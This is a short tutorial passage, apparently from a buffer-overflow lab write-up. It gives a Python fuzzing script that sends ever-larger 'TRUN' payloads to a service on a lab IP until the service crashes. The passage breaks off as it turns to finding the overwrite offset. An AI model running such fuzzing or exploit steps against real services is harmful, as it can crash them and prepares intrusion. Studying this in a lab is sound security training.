Fuzzing is a technique for finding vulnerabilities by sending a large number of random inputs to an application. The goal is to identify the exact input that can trigger a buffer overflow.


using python script,

make a file named for example 1.py

#!/usr/bin/python
 
import sys, socket
from time import sleep
 
buffer = "A" * 100
 
while True:
    try:
        payload = "TRUN /.:/" + buffer
 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.2.15',9999))
        print ("[+] Sending the payload...\\n" + str(len(buffer)))
        s.send((payload.encode()))
        s.close()
        sleep(1)
        buffer = buffer + "A"*100
    except:
        print ("The fuzzing crashed at %s bytes" % str(len(buffer)))
        sys.exit()

after running the script and the program crashed , now we want to know the offset of the overwritten